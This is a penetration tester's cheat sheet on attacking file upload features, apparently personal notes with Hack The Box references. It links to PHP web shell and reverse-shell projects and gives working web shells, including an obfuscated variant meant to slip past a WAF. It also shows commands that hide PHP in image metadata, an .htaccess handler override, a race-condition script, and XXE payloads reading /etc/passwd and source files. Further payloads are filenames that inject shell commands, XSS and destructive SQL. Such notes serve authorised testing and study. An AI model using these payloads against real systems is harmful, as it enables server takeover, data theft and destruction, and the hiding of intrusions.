# File Upload Attacks

### Backdoors

<https://github.com/Arrexel/phpbash>

<https://github.com/flozz/p0wny-shell> (my favorite)

<https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="https://3625372132-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMZZ5b7ge25IjFldP6WSt%2Fuploads%2FFnFZIJeg35CDhzbVTxRo%2F1000169994.jpg?alt=media&#x26;token=767c2de1-4cfd-432f-bff7-62daca832813" alt=""><figcaption></figcaption></figure>

### My methodology

1. Identify the languages used in the application.
2. Enumerate the upload directory
   * **Source Code**: Check for any exposed upload directory path.
   * **Fuzzing**: Use a wordlist to discover any exposed upload directory path.
   * **Force Errors**: Intentionally crash the application uploading
3. Upload a malicious PHP file and try to execute it, if you are lucky and there are no protection or filter you will get it.
4. Inspect the source code to check if file validation is done usigin JavaScript
5. Fuzz valid file extension either black and white list.
   1. Use different extensions, double or reverse extension (Use the below script to create the wordlist)
      1. **PHP**: *.php*, *.php2*, *.php3*, .*php4*, .*php5*, .*php6*, .*php7*, .phps, .*phps*, .*pht*, .*phtm, .phtml*, .*pgif*, *.shtml, .htaccess, .phar, .inc*
      2. **ASP**: *.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml*
      3. **Jsp:** *.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action*
      4. **Coldfusion:** *.cfm, .cfml, .cfc, .dbm*
      5. **Flash**: *.swf*
      6. **Perl**: *.pl, .cgi*
      7. **Erlang Yaws Web Server**: *.yaws*
6. Modify the `Content-Type: <file-type>`. You might use [Seclists-content-type wordlist](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
7. Change the file magic numbers. [List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)
   1. <https://en.wikipedia.org/wiki/List_of_file_signatures>
8. If the server allows SVG Uploads, attempt to upload a malicious SVG it could lead to diferent vulnerabilities such LFI and RCE.
9. Rewrite the configuration upload file through \[\[**.htaccess**]]
10. Modify the PHP file size to attempt
11. Some developer cipher the filename using **md5**, **sha1** or you can try to find your malicious file using the next pattern **Ex. MD5 Cypher** `<md5>.php`, `<md5.php>.php` or `md5 to the entire file.`

**Note:** You can hit the malicious files through the LFI vulnerabilities

### Manual Web Shells

```bash
#Simple PHP web shell
<?php system($_GET[0]); ?>

#Bypass WAF
<?php	"\\x73\\x79\\x73\\x74\\x65\\x6D"($_GET['cmd'])?>

#Bypass file size
<?=`$_GET[0]`?>

#Simple ASP web shel
<% eval request('cmd') %>

curl -X POST -F "image=@/ruta/a/tu/imagen.jpg" <http://ejemplo.com/subir>

```

### Embeed malicious PHP code in metadata

```bash
Intrusionz3r0@htb[/htb]$ exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' imagen.png
Intrusionz3r0@htb[/htb]$ mv imagen.png imagen.php.png
```

### Rewrite .htaccess to allow custom extensions.

> .htaccess files provide a way to make configuration changes on a per-directory basis."\_

```java
AddType application/x-httpd-php .malicious
```

Now just upload a . malicious file and it will be executed as PHP.

### Script to generate payload names to attempt to bypassing strict regex protection for upload files using double and reverse extensions

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\\\' '.' '…' ':'; do
    for ext in '.php' '.php2' '.php3' '.php4' '.php5' '.php6' '.php7' '.phps' '.pht' '.phtml' '.phar'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
```

## Enumerate Dangerous Function&#x20;

```php
<?php
$dangerous_functions = [
    'pcntl_alarm', 'pcntl_fork', 'pcntl_waitpid', 'pcntl_wait', 'pcntl_wifexited',
    'pcntl_wifstopped', 'pcntl_wifsignaled', 'pcntl_wifcontinued', 'pcntl_wexitstatus',
    'pcntl_wtermsig', 'pcntl_wstopsig', 'pcntl_signal', 'pcntl_signal_get_handler',
    'pcntl_signal_dispatch', 'pcntl_get_last_error', 'pcntl_strerror', 'pcntl_sigprocmask',
    'pcntl_sigwaitinfo', 'pcntl_sigtimedwait', 'pcntl_exec', 'pcntl_getpriority',
    'pcntl_setpriority', 'pcntl_async_signals', 'error_log', 'system', 'exec', 
    'shell_exec', 'popen', 'proc_open', 'passthru', 'link', 'symlink', 'syslog', 
    'ld', 'mail'
];

foreach ($dangerous_functions as $f) {
    if (function_exists($f)) {
        echo "[+] $f EXISTS<br>\n";
    } else {
        echo "[-] $f NOT FOUND<br>\n";
    }
}
?>

```

## Upload malicious file with Race Conditions

some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.

These vulnerabilities are often extremely subtle, making them difficult to detect during blackbox testing unless you can find a way to leak the relevant source code.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(8):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
```

{% embed url="<https://github.com/portswigger/turbo-intruder>" %}

## Fuzzing Extension with FUFF

1. Intercept the file with burpsuite and save the request (Copy to file)
2. Set the payload inside the file on the parameter filename=file.FUZZ
3. I recommend this wordlist <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/extensions-most-common.fuzz.txt> or use the above script

```sh
#Fuzzing
ffuf -request upload.req -request-proto http -w extensions.txt -mr "success"
```

## **Miscellaneous**

#### XSS via image file

```java
Intrusionz3r0@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
```

#### XSS via XML or SVG file

```java
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "<http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd>">
<svg xmlns="<http://www.w3.org/2000/svg>" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

```java
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

```java
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

```java
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

## Attacks

### Decompression Bomb

we can utilize a `Decompression Bomb` with file types that use data compression, like `ZIP` archives. If a web application automatically unzips a ZIP archive, it is possible to upload a malicious archive containing nested ZIP archives within it, which can eventually lead to many Petabytes of data, resulting in a crash on the back-end server.

<https://github.com/iamtraction/ZOD>

### **Command Injection in File Names:**

#### Remote command Execution in filenames

1. **`file; whoami.jpg`**
2. **`file&&id.jpg`**
3. **`file$(uname -a).png`**

***

#### **XSS Injection in** filenames\*\*:\*\*

1. **`"><script>alert('XSS');</script>.jpg`**
2. **`" onmouseover="alert('XSS')".png`**

***

#### **SQL Injection in** filenames\*\*:\*\*

1. **`file'; DROP TABLE users;--.jpg`**
2. **`file'; UPDATE users SET admin=1;--.png`**
3. **`file' OR '1'='1'.jpg`**

## Cause errors to force error message

### Upload a long filename

We may also try uploading a file with an overly long name (e.g., 5,000 characters). If the web application does not handle this correctly, it may also error out and disclose the upload directory.

#### **Using Reserved Characters in File Names:**

Certain characters are reserved for special uses in Windows, and using them in file names can lead to errors, directory disclosures, or unexpected behavior.

**Examples:**

1. **`file|whoami.txt`**
2. **`file*.txt`**
3. **`file>.txt`**

***

#### **Using Reserved Names (CON, COM1, LPT1, NUL):**

Windows has a set of reserved device names that cannot be used as file names. If these are submitted, the system may throw an error or behave unexpectedly.

**Examples:**

1. **`CON.jpg`**
   * `CON` is a reserved name for the console. If the application tries to create this file, it will likely fail or throw an error.
2. **`COM1.txt`**
   * `COM1` is reserved for the first serial port. Similarly, creating this file will result in an error or cause undefined behavior.
3. **`LPT1.png`**
   * `LPT1` is reserved for the first printer port. If this name is used, the system won't be able to handle it properly.

**Explanation:** Using these reserved names can cause the application to crash or expose internal errors, potentially revealing the directory structure or other sensitive details about the system.

***

#### **Exploiting the 8.3 Filename Convention:**

Windows still supports the legacy 8.3 filename convention, where file names are shortened to a format like `XXXXXX~1.EXT`. This can be exploited to overwrite files or bypass protections.

**Examples:**

1. **`HAC~1.TXT`**
   * Refers to a file called `hackthebox.txt`. The `~1` represents the first matching file that starts with `HAC`. An attacker can target this to overwrite or access files without using their full names.
2. **`WEB~.CONF`**
   * This could be used to target and overwrite `web.conf` if the system still supports 8.3 names, allowing an attacker to alter the web server's configuration.
3. **`LOG~.SYS`**
   * Refers to `log.sys`. An attacker could use this shortened name to overwrite important system log files, potentially covering up traces of malicious activity.
